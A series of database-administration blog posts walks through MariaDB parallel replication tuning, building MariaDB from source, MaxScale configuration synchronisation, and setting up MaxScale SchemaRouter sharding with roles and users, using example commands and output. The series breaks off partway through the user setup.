Even with this feature, there are many ways to analyse the database. Unfortunately, our database is relatively boring: Mainly monotonous traffic (which is plentiful due to the monitoring) and very little exceptional traffic.

Remark: This text has been translated with the assistance of DeepL.

MariaDB's parallel replication to catch up

oli.sennhauser@fromdual.com (Oli Sennhauser) — Tue, 09 Apr 2024 10:53:32 +0000

Due to an application error, our replication stopped for 5 days (over Easter). After the problem was solved, the replication was supposed to catch up, which turned out to be very slow. All the usual tricks (innodb_flush_log_at_trx_commit, sync_binlog, etc.) had already been exhausted. So we tried our hand at parallel replication of the MariaDB server.

Parallel replication is deactivated by default:

SQL> SHOW GLOBAL VARIABLES LIKE '%parallel%';
+-------------------------------+------------+
| Variable_name | Value |
+-------------------------------+------------+
| slave_domain_parallel_threads | 0 |
| slave_parallel_max_queued | 131072 |
| slave_parallel_mode | optimistic |
| slave_parallel_threads | 0 |
| slave_parallel_workers | 0 |
+-------------------------------+------------+

Parallel replication is activated by setting the server variables slave_parallel_threads:

SQL> SET GLOBAL slave_parallel_threads = 8;
ERROR 1198 (HY000): This operation cannot be performed as you have a running slave ''; run STOP SLAVE '' first

However, this must be done when replication is stopped:

SQL> STOP SLAVE;
SQL> SET GLOBAL slave_parallel_threads = 8;
SQL> START SLAVE;

Replication then caught up a little faster. However, as we were impatient, we tried to make it even faster. With the command:

SQL> SHOW SLAVE STATUS<br>G
...
Slave_SQL_Running_State: Waiting for room in worker thread event queue
...

we found the following message. You would also see it using the SHOW PROCESSLIST command:

SQL> SHOW PROCESSLIST;
+--------+-------------+- ... -+-----------+------+-----------------------------------------------+- ... -+
| Id | User | ... | Command | Time | State | ... |
+--------+-------------+- ... -+-----------+------+-----------------------------------------------+- ... -+
... ... ...
| 212496 | system user | ... | Slave_SQL | 16 | Waiting for room in worker thread event queue | ... |
+--------+-------------+- ... -+-----------+------+-----------------------------------------------+- ... -+

According to the documentation, it can help in this case to increase the size of the slave_parallel_max_queued variable slightly (attention: Oom!).

SQL> STOP SLAVE;
SQL> SET GLOBAL slave_parallel_max_queued = 1*1024*1024;
SQL> SHOW GLOBAL VARIABLES LIKE '%parallel%';
+-------------------------------+------------+
| Variable_name | Value |
+-------------------------------+------------+
| slave_domain_parallel_threads | 0 |
| slave_parallel_max_queued | 1048576 |
| slave_parallel_mode | optimistic |
| slave_parallel_threads | 8 |
| slave_parallel_workers | 8 |
+-------------------------------+------------+
SQL> START SLAVE;

We have played around with the values slave_parallel_threads in the range from 4 to 32 (with 8 vCores) and with slave_parallel_max_queued in the range from 128 kbyte to 32 Mbyte. Caution: Do not exaggerate: 32 threads x 32 Mbyte = 1 Gbyte RAM (Oom)!

To find out which values are the optimum, you would have to test and measure more extensively. In any case, the replication made up the 5-day backlog after about an hour, towards the end a little more than at the beginning, which was hopefully caused by our configuration adjustments.

Depending on what DML statements are currently running, you can see that all threads can be used or that some threads have to wait for other threads:

SQL> SHOW PROCESSLIST;
+--------+-----------------+--------------+--------+---------------------------------------------------------------+------------+
| Id | User | Command | Time | State | Info |
+--------+-----------------+--------------+--------+---------------------------------------------------------------+------------+
| 2 | event_scheduler | Daemon | 506179 | Waiting for next activation | NULL |
| 191154 | root | Query | 0 | starting | show pr... |
| 208669 | replication | Binlog Dump | 297 | Master has sent all binlog to slave; waiting for more updates | NULL |
| 212495 | system user | Slave_IO | 20 | Waiting for master to send event | NULL |
| 212497 | system user | Slave_worker | 0 | Waiting for prior transaction to commit | NULL |
| 212498 | system user | Slave_worker | 0 | Waiting for prior transaction to commit | NULL |
| 212499 | system user | Slave_worker | 0 | Waiting for prior transaction to commit | NULL |
| 212500 | system user | Slave_worker | 0 | Waiting for prior transaction to commit | NULL |
| 212501 | system user | Slave_worker | 0 | Write_rows_log_event::write_row(-1) on table `history_uint` | insert ... |
| 212502 | system user | Slave_worker | 0 | Write_rows_log_event::write_row(-1) on table `history_uint` | insert ... |
| 212503 | system user | Slave_worker | 0 | Write_rows_log_event::write_row(-1) on table `history_str` | insert ... |
| 212504 | system user | Slave_worker | 0 | Waiting for prior transaction to commit | NULL |
| 212505 | system user | Slave_worker | 0 | Waiting for prior transaction to commit | NULL |
| 212506 | system user | Slave_worker | 0 | Waiting for prior transaction to commit | NULL |
| 212507 | system user | Slave_worker | 0 | Waiting for prior transaction to commit | NULL |
| 212510 | system user | Slave_worker | 0 | Waiting for prior transaction to commit | NULL |
| 212509 | system user | Slave_worker | 0 | Waiting for prior transaction to commit | NULL |
| 212508 | system user | Slave_worker | 0 | Waiting for prior transaction to commit | NULL |
| 212511 | system user | Slave_worker | 0 | Waiting for prior transaction to commit | NULL |
| 212512 | system user | Slave_worker | 0 | Waiting for prior transaction to commit | NULL |
| 212496 | system user | Slave_SQL | 16 | Waiting for room in worker thread event queue | NULL |
+--------+-----------------+--------------+--------+---------------------------------------------------------------+------------+

SQL> SHOW PROCESSLIST;
+--------+-----------------+--------------+--------+---------------------------------------------------------------+------------+
| Id | User | Command | Time | State | Info |
+--------+-----------------+--------------+--------+---------------------------------------------------------------+------------+
| 2 | event_scheduler | Daemon | 506197 | Waiting for next activation | NULL |
| 191154 | root | Query | 0 | starting | show pr... |
| 208669 | replication | Binlog Dump | 315 | Master has sent all binlog to slave; waiting for more updates | NULL |
| 212495 | system user | Slave_IO | 37 | Waiting for master to send event | NULL |
| 212497 | system user | Slave_worker | 0 | Delete_rows_log_event::ha_delete_row(-1) on table `history` | delete ... |
| 212498 | system user | Slave_worker | 0 | Delete_rows_log_event::find_row(-1) on table `history` | delete ... |
| 212499 | system user | Slave_worker | 0 | Delete_rows_log_event::ha_delete_row(-1) on table `history` | delete ... |
| 212500 | system user | Slave_worker | 0 | Delete_rows_log_event::find_row(-1) on table `history` | delete ... |
| 212501 | system user | Slave_worker | 0 | Delete_rows_log_event::find_row(-1) on table `history` | delete ... |
| 212502 | system user | Slave_worker | 0 | Delete_rows_log_event::find_row(-1) on table `history` | delete ... |
| 212503 | system user | Slave_worker | 0 | Delete_rows_log_event::find_row(-1) on table `history` | delete ... |
| 212504 | system user | Slave_worker | 0 | Delete_rows_log_event::ha_delete_row(-1) on table `history` | delete ... |
| 212505 | system user | Slave_worker | 0 | Delete_rows_log_event::find_row(-1) on table `history` | delete ... |
| 212506 | system user | Slave_worker | 0 | Delete_rows_log_event::ha_delete_row(-1) on table `history` | delete ... |
| 212507 | system user | Slave_worker | 0 | Delete_rows_log_event::find_row(-1) on table `history` | delete ... |
| 212510 | system user | Slave_worker | 0 | Delete_rows_log_event::find_row(-1) on table `history` | delete ... |
| 212509 | system user | Slave_worker | 0 | Delete_rows_log_event::find_row(-1) on table `history` | delete ... |
| 212508 | system user | Slave_worker | 0 | Delete_rows_log_event::find_row(-1) on table `history` | delete ... |
| 212511 | system user | Slave_worker | 0 | Delete_rows_log_event::find_row(-1) on table `history` | delete ... |
| 212512 | system user | Slave_worker | 0 | Delete_rows_log_event::find_row(-1) on table `history` | delete ... |
| 212496 | system user | Slave_SQL | 11 | Waiting for room in worker thread event queue | NULL |
+--------+-----------------+--------------+--------+---------------------------------------------------------------+------------+

Our monitoring also showed us that the CPU load went up, the I/O system got more to do and more rows were modified…

What was also noticeable is that with parallel replication, Foreign Key errors suddenly occurred, a phenomenon that we had not observed before:

FromDual.maas2.prod2 - Warning: InnoDB Foreign Key error detected

Trigger: InnoDB Foreign Key error detected
Trigger status: PROBLEM
Trigger severity: Warning
Trigger URL: https://fromdual.com/innodb-foreign-key-error-detected

Item values: 1

1. InnoDB new Foreign Key error (FromDual.maas2.prod2:FromDual.MySQL.innodb.ForeignKey_new): 1

With the command SHOW ENGINE INNODB STATUS<br>G you can inspect these accordingly or view them in the monitoring:

------------------------
LATEST FOREIGN KEY ERROR
------------------------
2024-04-02 10:36:39 0x7f36088ff640 Transaction:
TRANSACTION 7199599266, ACTIVE 0 sec inserting
mysql tables in use 1, locked 1
6 lock struct(s), heap size 1128, 3 row lock(s), undo log entries 1
MariaDB thread id 228555, OS thread handle 139870048613952, query id 28453893 Write_rows_log_event::write_row(-1) on table `alerts`
insert into alerts (alertid,actionid,eventid,userid,clock,mediatypeid,sendto,subject,message,status,error,esc_step,alerttype,acknowledgeid,parameters) values (203687,4,471733,3,1712044003,1,'xxx@fromdual.com','Zabbix server - High: Too many processes on Zabbix server','Trigger: Too many processes on Zabbix server
Trigger status: PROBLEM
Trigger severity: High
Trigger URL:

Item values: 309

1. Number of processes (Zabbix server:proc.num[]): 309',3,'',1,0,null,'{}')
Foreign key constraint fails for table `zabbix`.`alerts`:
,
 CONSTRAINT `c_alerts_2` FOREIGN KEY (`eventid`) REFERENCES `events` (`eventid`) ON DELETE CASCADE in parent table, in index alerts_3 tuple:
DATA TUPLE: 2 fields;
 ...

But in parent table `zabbix`.`events`, in index PRIMARY,
the closest match we can find is record:
PHYSICAL RECORD: n_fields 12; compact format; info bits 0
 ...

Literature/Sources

Parallel Replication

Building MariaDB Server from the sources

oli.sennhauser@fromdual.com (Oli Sennhauser) — Fri, 05 Apr 2024 08:47:13 +0000

Recently I had to test a new MariaDB feature that was developed at our request (MDEV-33782). To test this feature I had to build the MariaDB server myself from source, which I have not done for a long time. So a new challenge, especially with CMake…

I followed the MariaDB documentation Get, Build and Test Latest MariaDB the Lazy Way to build the server.

On Ubuntu 22.04 it did not work for me, for reasons unknown to me. So I cloned an Ubuntu 23.04 (Lunar Lobster) LXC container and built the MariaDB server in it.

To make the whole thing work, however, the package sources had to be added to the file /etc/apt/sources.list in the container first:

deb-src http://de.archive.ubuntu.com/ubuntu lunar main restricted universe multiverse
deb-src http://de.archive.ubuntu.com/ubuntu lunar-updates main restricted universe multiverse
deb-src http://de.archive.ubuntu.com/ubuntu lunar-security main restricted universe multiverse
deb-src http://de.archive.ubuntu.com/ubuntu lunar-backports main restricted universe multiverse

Then we proceeded according to the instructions:

shell> apt install build-essential bison
shell> apt build-dep mariadb-server

The corresponding branch was cloned:

shell> # git clone https://github.com/andremralves/server.git mariadb-MDEV-33782
shell> # git branch --all
shell> git clone --branch MDEV-33782 --single-branch https://github.com/andremralves/server.git mariadb-MDEV-33782
shell> cd mariadb-MDEV-33782
shell> # git checkout 11.5

and then the server was build. This took about 20 minutes on my old machine. CMake still ran into an error, which was solved by installing the corresponding package (MDEV-33815):

shell> apt install libgnutls28-dev
shell> cmake . -DBUILD_CONFIG=mysql_release && make -j8

The tests were executed:

shell> cd mysql-test
shell> ./mtr rpl.rpl_create_drop_event
Logging: ./mtr rpl.rpl_create_drop_event
VS config:
vardir: /root/mariadb-MDEV-33782/mysql-test/var
Checking leftover processes...
Removing old var directory...
Creating var directory '/root/mariadb-MDEV-33782/mysql-test/var'...
Checking supported features...
MariaDB Version 11.5.0-MariaDB
 - SSL connections supported
 - binaries built with wsrep patch
Collecting tests...
Installing system database...

==============================================================================

TEST RESULT TIME (ms) or COMMENT
--------------------------------------------------------------------------

worker[01] Using MTR_BUILD_THREAD 300, with reserved ports 16000..16019
worker[01] mysql-test-run: WARNING: running this script as _root_ will cause some tests to be skipped
rpl.rpl_create_drop_event 'mix' [ pass ] 522
rpl.rpl_create_drop_event 'row' [ pass ] 525
rpl.rpl_create_drop_event 'stmt' [ pass ] 525
--------------------------------------------------------------------------
The servers were restarted 2 times
Spent 1.572 of 14 seconds executing testcases

Completed: All 3 tests were successful.

And then a binary tarball was build for further testing.

shell> make package
Run CPack packaging tool...
CPack: Create package using TGZ
CPack: Install projects
CPack: - Run preinstall target for: MariaDB
CPack: - Install project: MariaDB []
CPack: Create package
CPack: - package: /root/mariadb-MDEV-33782/mariadb-11.5.0-linux-x86_64.tar.gz generated.

MaxScale configuration synchronisation

oli.sennhauser@fromdual.com (Oli Sennhauser) — Thu, 04 Apr 2024 09:53:46 +0000

Overview

A feature that I recently discovered while browsing is the MaxScale configuration synchronisation functionality.

This is not primarily about a MariaDB replication cluster or a MariaDB Galera cluster, but about a cluster consisting of two or more MaxScale nodes. Or more precisely, the exchange of the configuration between these MaxScale nodes.

Pon Suresh Pandian has already written a blog article about this feature in 2022, which is even more detailed than this post here.

Preparations

An Incus container environment was prepared, consisting of 3 database containers (deb12-n1 (10.139.158.33), deb12-n2 (10.139.158.178), deb12-n3 (10.139.158.39)) and 2 MaxScale containers (deb12-mxs1 (10.139.158.66), deb12-mxs2 (10.139.158.174)). The database version is a MariaDB 10.11.6 from the Debian repository and MaxScale was downloaded in version 22.08.5 from the MariaDB plc website.

The database configuration looks similar for all 3 nodes:

#
# /etc/mysql/mariadb.conf.d/99-fromdual.cnf
#

[server]

server_id = 1
log_bin = deb12-n1-binlog
binlog_format = row
bind_address = *
proxy_protocol_networks = ::1, 10.139.158.0/24, localhost
gtid_strict_mode = on
log_slave_updates = on
skip_name_resolve = on

The MaxScale nodes were built as described in the article Sharding with MariaDB MaxScale.

The maxscale_admin user has exactly the same rights as described there, the maxscale_monitor user has the following rights:

RELOAD, SUPER, REPLICATION SLAVE, READ_ONLY ADMIN

Activate MaxScale configuration synchronisation

A separate database user with the following rights is required for configuration synchronisation:

SQL> CREATE USER 'maxscale_confsync'@'%' IDENTIFIED BY 'secret';
SQL> GRANT SELECT, INSERT, UPDATE, CREATE ON `mysql`.`maxscale_config` TO maxscale_confsync@'%';

MaxScale must then be configured accordingly (on both MaxScale nodes) so that configuration synchronisation is activated. This configuration takes place in the global MaxScale section:

#
# /etc/maxscale.cnf
#

[maxscale]
config_sync_cluster = Replication-Monitor
config_sync_user = maxscale_confsync
config_sync_password = secret

The MaxScale nodes are then restarted:

shell> systemctl restart maxscale

MaxScale configuration synchronisation can also be activated and deactivated dynamically:

shell> maxctrl show maxscale | grep config_sync
│ │ "config_sync_cluster": null, │
│ │ "config_sync_db": "mysql", │
│ │ "config_sync_interval": "5000ms", │
│ │ "config_sync_password": null, │
│ │ "config_sync_timeout": "10000ms", │
│ │ "config_sync_user": null, │

Here it is important to keep to the correct order of the 3 commands, otherwise there will be an error:

shell> MAXCTRL_WARNINGS=0 maxctrl alter maxscale config_sync_user='maxscale_confsync'
shell> MAXCTRL_WARNINGS=0 maxctrl alter maxscale config_sync_password='secret'
shell> MAXCTRL_WARNINGS=0 maxctrl alter maxscale config_sync_cluster='Replication-Monitor'

Change MaxScale parameters

As a first test, we have focussed on the MaxScale monitor variable monitor_interval, which in this case is even different on both MaxScale nodes:

shell> maxctrl show monitor Replication-Monitor | grep monitor_interval
│ │ "monitor_interval": "750ms",

shell> maxctrl show monitor Replication-Monitor | grep monitor_interval
│ │ "monitor_interval": "1000ms",

The variable can now be set on a MaxScale node with the alter monitor command:

shell> MAXCTRL_WARNINGS=0 maxctrl alter monitor Replication-Monitor monitor_interval=500ms
OK

which can be seen in the MaxScale error log:

2024-03-26 14:09:16 notice : (ConfigManager); Updating to configuration version 1

On the other hand, the value should be propagated to the second MaxScale node within 5 seconds (config_sync_interval), which can be checked with the above command.

Add new slave and make MaxScale known

A new slave (deb12-n3) is first created and added to the MariaDB replication cluster by hand. The slave is then made known to a MaxScale node:

shell> maxctrl create server deb12-n3 10.139.158.39

shell> MAXCTRL_WARNINGS=0 maxctrl link monitor Replication-Monitor deb12-n3
OK

shell> MAXCTRL_WARNINGS=0 maxctrl link service WriteService deb12-n3
OK

shell> maxctrl list servers
┌──────────┬────────────────┬──────┬─────────────┬─────────────────┬────────────┬─────────────────────┐
│ Server │ Address │ Port │ Connections │ State │ GTID │ Monitor │
├──────────┼────────────────┼──────┼─────────────┼─────────────────┼────────────┼─────────────────────┤
│ deb12-n1 │ 10.139.158.33 │ 3306 │ 3 │ Slave, Running │ 0-2-479618 │ Replication-Monitor │
├──────────┼────────────────┼──────┼─────────────┼─────────────────┼────────────┼─────────────────────┤
│ deb12-n2 │ 10.139.158.178 │ 3306 │ 3 │ Master, Running │ 0-2-479618 │ Replication-Monitor │
├──────────┼────────────────┼──────┼─────────────┼─────────────────┼────────────┼─────────────────────┤
│ deb12-n3 │ 10.139.158.39 │ 3306 │ 1 │ Slave, Running │ 0-2-479618 │ Replication-Monitor │
└──────────┴────────────────┴──────┴─────────────┴─────────────────┴────────────┴─────────────────────┘

Remove old slave and make MaxScale known

Before a slave can be deleted, it should be removed from the replication cluster for a MaxScale node:

shell> maxctrl destroy server deb12-n1 --force
OK

shell> maxctrl list servers
┌──────────┬────────────────┬──────┬─────────────┬─────────────────┬────────────┬─────────────────────┐
│ Server │ Address │ Port │ Connections │ State │ GTID │ Monitor │
├──────────┼────────────────┼──────┼─────────────┼─────────────────┼────────────┼─────────────────────┤
│ deb12-n2 │ 10.139.158.178 │ 3306 │ 3 │ Master, Running │ 0-2-493034 │ Replication-Monitor │
├──────────┼────────────────┼──────┼─────────────┼─────────────────┼────────────┼─────────────────────┤
│ deb12-n3 │ 10.139.158.39 │ 3306 │ 1 │ Slave, Running │ 0-2-493032 │ Replication-Monitor │
└──────────┴────────────────┴──────┴─────────────┴─────────────────┴────────────┴─────────────────────┘

The slave can then be removed.

How is the configuration synchronised?

The configuration of the two MaxScale nodes is synchronised via the database, which I personally consider to be an unfortunate design decision, as a configuration change could potentially cause chaos if the master breaks or network problems occur between the database nodes…

The configuration is stored in the table mysql.maxscale_config, which looks like this:

CREATE TABLE `maxscale_config` (
 `cluster` varchar(256) NOT NULL,
 `version` bigint(20) NOT NULL,
 `config` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL CHECK (json_valid(`config`)),
 `origin` varchar(254) NOT NULL,
 `nodes` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL CHECK (json_valid(`nodes`)),
 PRIMARY KEY (`cluster`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci

This table has approximately the following content:

SQL> SELECT cluster, version, CONCAT(SUBSTR(config, 1, 32), ' ... ', SUBSTR(config, -32)) AS config , origin, nodes FROM mysql.maxscale_config;
+---------------------+---------+-----------------------------------------------------------------------+------------+------------------------------------------+
| cluster | version | config | origin | nodes |
+---------------------+---------+-----------------------------------------------------------------------+------------+------------------------------------------+
| Replication-Monitor | 2 | {"config":[{"id":"deb12-n1","typ ... ter_name":"Replication-Monitor"} | deb12-mxs1 | {"deb12-mxs1": "OK", "deb12-mxs2": "OK"} |
+---------------------+---------+-----------------------------------------------------------------------+------------+------------------------------------------+

A local copy is available on each node for security reasons:

shell> cut -b-32 /var/lib/maxscale/maxscale-config.json
{"config":[{"id":"deb12-n2","typ

What happens in the event of a conflict?

If the configuration is changed simultaneously (within config_sync_interval?) on two different MaxScale nodes, we receive the following error message:

Error: Server at http://127.0.0.1:8989 responded with 400 Bad Request to `PATCH monitors/Replication-Monitor`
{
 "errors": [
 {
 "detail": "Cannot start configuration change: Configuration conflict detected: version stored in the cluster (3) is not the same as the local version (2), MaxScale is out of sync."
 }
 ]
}

The following command may help to recognise the problem in the event of major faults:

shell> maxctrl show maxscale | grep -A9 'Config Sync'
│ Config Sync │ { │
│ │ "checksum": "0052fe6f775168bf00778abbe37775f6f642adc7", │
│ │ "nodes": { │
│ │ "deb12-mxs1": "OK", │
│ │ "deb12-mxs2": "OK" │
│ │ }, │
│ │ "origin": "deb12-mxs2", │
│ │ "status": "OK", │
│ │ "version": 3 │
│ │ } │

Tests

All tests were also carried out under load. The following tests ran in parallel:

insert_test.php
insert_test.sh
mixed_test.php
while [ true ] ; do mariadb -s --user=app --host=10.139.158.174 --port=3306 --password=secret --execute='SELECT @@hostname, COUNT(*) FROM test.test GROUP BY @@hostname' ; sleep 0.5 ; done
while [ true ] ; do mariadb -s --user=app --host=10.139.158.174 --port=3306 --password=secret --execute='SELECT @@hostname, COUNT(*) FROM test.test GROUP BY @@hostname FOR UPDATE' ; sleep 0.5 ; done

All tests have run flawlessly and without problems with all manipulations.

Deactivate MaxScale configuration synchronisation again

Execute the following command on both MaxScale nodes to end configuration synchronisation:

shell> MAXCTRL_WARNINGS=0 maxctrl alter maxscale config_sync_cluster=''

Literature/sources

Sharding with MariaDB MaxScale

oli.sennhauser@fromdual.com (Oli Sennhauser) — Tue, 19 Mar 2024 17:02:58 +0000

Overview

This feature should more or less work with MariaDB MaxScale 6.x.y, 22.08.x, 23.02.x, 23.08.x and 24.02.x. We have tested it with the latest MaxScale version 23.08.05, as we encountered problems with an older version (MXS-5026).

shell> maxscale --version
MaxScale 23.08.5

We used MariaDB 10.11 as the database backend (shards).

Less than approx. 2% of all MariaDB installations known to us are what we technically understand by multi-tenant systems (each customer in its own database (also called a schema)).

This MariaDB MaxScale feature is therefore used relatively rarely and there is an increased risk of encountering bugs that no-one has come across before!

This feature is called SchemaRouter at MariadDB MaxScale and is still declared as beta quality (MXS-5025):

maxctrl> show module schemarouter
┌─────────────┬────────────────────────────────────────────────┐
│ Module │ schemarouter │
├─────────────┼────────────────────────────────────────────────┤
│ Type │ Router │
├─────────────┼────────────────────────────────────────────────┤
│ Version │ V1.0.0 │
├─────────────┼────────────────────────────────────────────────┤
│ Maturity │ Beta │
├─────────────┼────────────────────────────────────────────────┤
│ Description │ A database sharding router for simple sharding │
├─────────────┼────────────────────────────────────────────────┤
│ ...

The target topology should look like this: Each customer (client, tenant) is located in its own database (= schema). The databases are distributed across several MariaDB instances (shards). So that the application can access the database transparently, a pair of MaxScale load balancers is connected in front of it, which knows where the customer is located and forwards the traffic to the shard accordingly. To ensure that the MaxScale load balancers are designed for high availability, a virtual IP (VIP) is connected upstream, e.g. using Keepalived. If this is still too simple for you, you can design each individual shard as a master/slave or Galera cluster construct…

Preparation of the shards (MariaDB database instances)

The first problem we had with this PoC was with the test database. By deleting the test database on all shards, the problem disappeared. Alternatively, you can run mariadb-secure-installation, which you should do on production systems anyway, or you can use the MaxScale configuration parameters: ignore_tables or ignore_tables_regex to allow the same tables in different shards (MXS-5027).

Create test data

So that we have something to play with, we have created test data:

-- On shard 1: 2 customers

SQL> CREATE DATABASE customer_0010;
SQL> CREATE TABLE customer_0010.address (id INT UNSIGNED, name VARCHAR(255));
SQL> CREATE TABLE customer_0010.sales (id INT UNSIGNED, product VARCHAR(255), sales TINYINT, amount DECIMAL(6, 2), total_amount DECIMAL(6, 2));
SQL> INSERT INTO customer_0010.address VALUES (1, 'Customer 10 GmbH');
SQL> INSERT INTO customer_0010.sales VALUES (1, 'Apples', 5, 1.2, 6), (2, 'Pears', 2, 0.9, 1.8), (3, 'Bread', 1, 2.5, 2.5);

SQL> CREATE DATABASE customer_0011;
SQL> CREATE TABLE customer_0011.address (id INT UNSIGNED, name VARCHAR(255));
SQL> CREATE TABLE customer_0011.sales (id INT UNSIGNED, product VARCHAR(255), sales TINYINT, amount DECIMAL(6, 2), total_amount DECIMAL(6, 2));
SQL> INSERT INTO customer_0011.address VALUES (1, 'Customer 11 SE');
SQL> INSERT INTO customer_0011.sales VALUES (1, 'Oranges', 2, 1.7, 3.4), (2, 'Salad', 5, 1.2, 6);

-- On shard 2: 3 customers

SQL> CREATE DATABASE customer_0020;
SQL> CREATE TABLE customer_0020.address (id INT UNSIGNED, name VARCHAR(255));
SQL> CREATE TABLE customer_0020.sales (id INT UNSIGNED, product VARCHAR(255), sales TINYINT, amount DECIMAL(6, 2), total_amount DECIMAL(6, 2));
SQL> INSERT INTO customer_0020.address VALUES (1, 'Customer 20 AG');
SQL> INSERT INTO customer_0020.sales VALUES (1, 'Oranges', 2, 1.7, 3.4), (2, 'Salad', 5, 1.2, 6);

SQL> CREATE DATABASE customer_0021;
SQL> CREATE TABLE customer_0021.address (id INT UNSIGNED, name VARCHAR(255));
SQL> CREATE TABLE customer_0021.sales (id INT UNSIGNED, product VARCHAR(255), sales TINYINT, amount DECIMAL(6, 2), total_amount DECIMAL(6, 2));
SQL> INSERT INTO customer_0021.address VALUES (1, 'Customer 21 GmbH');
SQL> INSERT INTO customer_0021.sales VALUES (1, 'Oranges', 2, 1.7, 3.4), (2, 'Salad', 5, 1.2, 6);

SQL> CREATE DATABASE customer_0022;
SQL> CREATE TABLE customer_0022.address (id INT UNSIGNED, name VARCHAR(255));
SQL> CREATE TABLE customer_0022.sales (id INT UNSIGNED, product VARCHAR(255), sales TINYINT, amount DECIMAL(6, 2), total_amount DECIMAL(6, 2));
SQL> INSERT INTO customer_0022.address VALUES (1, 'Customer 22 Gebr.');
SQL> INSERT INTO customer_0022.sales VALUES (1, 'Oranges', 2, 1.7, 3.4), (2, 'Salad', 5, 1.2, 6);

-- On shard 3: 1 customer

SQL> CREATE DATABASE customer_0030;
SQL> CREATE TABLE customer_0030.address (id INT UNSIGNED, name VARCHAR(255));
SQL> CREATE TABLE customer_0030.sales (id INT UNSIGNED, product VARCHAR(255), sales TINYINT, amount DECIMAL(6, 2), total_amount DECIMAL(6, 2));
SQL> INSERT INTO customer_0030.address VALUES (1, 'Customer 30 GmbH');
SQL> INSERT INTO customer_0030.sales VALUES (1, 'Pickles', 2, 2.2, 4.4), (2, 'Salad', 1, 3.1, 3.1), (3, 'Pudding', 5, 2.2, 11.0), (4, 'Asparagus', 12, .3, 3.6);

Create roles and users

Since in a sharded system, in contrast to a Galera cluster for example, the individual database instances do not know anything about each other and do not communicate with each other, we have to create the roles and users or accounts individually on EACH shard.

MariaDB MaxScale needs a user for the SchemaRouter service and the monitor (on each shard).

As the name suggests, the monitor user is responsible for monitoring and the SchemaRouter service user is responsible for collecting the user account information from the sharding backends and forwarding the queries to the correct shard.

Since a redundant system typically works with at least two MaxScale routers and we wanted to prevent the privileges of the accounts from diverging, we work with roles for both the MaxScale users and the application users.

MaxScale Monitor User

SQL> CREATE ROLE maxscale_monitor_role;

SQL> GRANT SELECT ON mysql.user TO 'maxscale_monitor_role';
SQL> GRANT REPLICATION CLIENT ON *.* TO 'maxscale_monitor_role';
SQL> GRANT SLAVE MONITOR ON *.* TO 'maxscale_monitor_role';
SQL> GRANT FILE ON *.* TO 'maxscale_monitor_role';
SQL> GRANT CONNECTION ADMIN ON *.* TO 'maxscale_monitor_role';

SQL> SHOW GRANTS FOR maxscale_monitor_role;
+-----------------------------------------------------------------------------------------------+
| Grants for maxscale_monitor_role |
+-----------------------------------------------------------------------------------------------+
| GRANT FILE, BINLOG MONITOR, CONNECTION ADMIN, SLAVE MONITOR ON *.* TO `maxscale_monitor_role` |
| GRANT SELECT ON `mysql`.`user` TO `maxscale_monitor_role` |
+-----------------------------------------------------------------------------------------------+

SQL> CREATE USER maxscale_monitor@'10.139.158.210' IDENTIFIED BY 'secret';
SQL> CREATE USER maxscale_monitor@'10.139.158.211' IDENTIFIED BY 'secret';

SQL> GRANT maxscale_monitor_role TO maxscale_monitor@'10.139.158.210';
SQL> GRANT maxscale_monitor_role TO maxscale_monitor@'10.139.158.211';

SQL> SET DEFAULT ROLE maxscale_monitor_role FOR maxscale_monitor@'10.139.158.210';
SQL> SET DEFAULT ROLE maxscale_monitor_role FOR maxscale_monitor@'10.139.158.211';

SQL> SELECT user, host, is_role, default_role FROM mysql.user WHERE user LIKE 'maxscale_monitor%';
+-----------------------+----------------+---------+-----------------------+
| User | Host | is_role | default_role |
+-----------------------+----------------+---------+-----------------------+
| maxscale_monitor_role | | Y | |
| maxscale_monitor | 10.139.158.210 | N | maxscale_monitor_role |
| maxscale_monitor | 10.139.158.211 | N | maxscale_monitor_role |
+-----------------------+----------------+---------+-----------------------+

SQL> SHOW GRANTS FOR maxscale_monitor@'10.139.158.211';
+------------------------------------------------------------------------------------------------------------------------------+
| Grants for maxscale_monitor@10.139.158.211 |
+------------------------------------------------------------------------------------------------------------------------------+
| GRANT `maxscale_monitor_role` TO `maxscale_monitor`@`10.139.158.211` |
| GRANT USAGE ON *.* TO `maxscale_monitor`@`10.139.158.211` IDENTIFIED BY PASSWORD '*14E65567ABDB5135D0CFD9A70B3032C179A49EE7' |
| SET DEFAULT ROLE `maxscale_monitor_role` FOR `maxscale_monitor`@`10.139.158.211` |
+------------------------------------------------------------------------------------------------------------------------------+

MaxScale Admin User

SQL> CREATE ROLE maxscale_admin_role;

SQL> GRANT SHOW DATABASES ON *.* TO 'maxscale_admin_role';
SQL> GRANT SELECT ON mysql.user TO 'maxscale_admin_role';
SQL> GRANT SELECT ON mysql.db TO 'maxscale_admin_role';
SQL> GRANT SELECT ON mysql.tables_priv TO 'maxscale_admin_role';
SQL> GRANT SELECT ON mysql.columns_priv TO 'maxscale_admin_role';
SQL> GRANT SELECT ON mysql.proxies_priv TO 'maxscale_admin_role';
SQL> GRANT SELECT ON mysql.roles_mapping TO 'maxscale_admin_role';
SQL> GRANT SELECT ON mysql.procs_priv TO 'maxscale_admin_role';

SQL> SHOW GRANTS FOR maxscale_admin_role;
+------------------------------------------------------------------+
| Grants for maxscale_admin_role |
+------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `maxscale_admin_role` |
| GRANT SELECT ON `mysql`.`user` TO `maxscale_admin_role` |
| GRANT SELECT ON `mysql`.`roles_mapping` TO `maxscale_admin_role` |
| GRANT SELECT ON `mysql`.`tables_priv` TO `maxscale_admin_role` |
| GRANT SELECT ON `mysql`.`procs_priv` TO `maxscale_admin_role` |
| GRANT SELECT ON `mysql`.`db` TO `maxscale_admin_role` |
| GRANT SELECT ON `mysql`.`columns_priv` TO `maxscale_admin_role` |
| GRANT SELECT ON `mysql`.`proxies_priv` TO `maxscale_admin_role` |
+------------------------------------------------------------------+

SQL> CREATE USER maxscale_admin@'10.139.158.210' IDENTIFIED BY 'secret';
SQL> CREATE USER maxscale_admin@'10.139.158.211' IDENTIFIED BY 'secret';

SQL> GRANT maxscale_admin_role TO maxscale_admin@'10.139.158.210';
SQL> GRANT maxscale_admin_role TO maxscale_admin@'10.139.158.211';

SQL> SET DEFAULT ROLE maxscale_admin_role FOR maxscale_admin@'10.139.158.210';
SQL> SET DEFAULT ROLE maxscale_admin_role FOR maxscale_admin@'10.139.158.211';

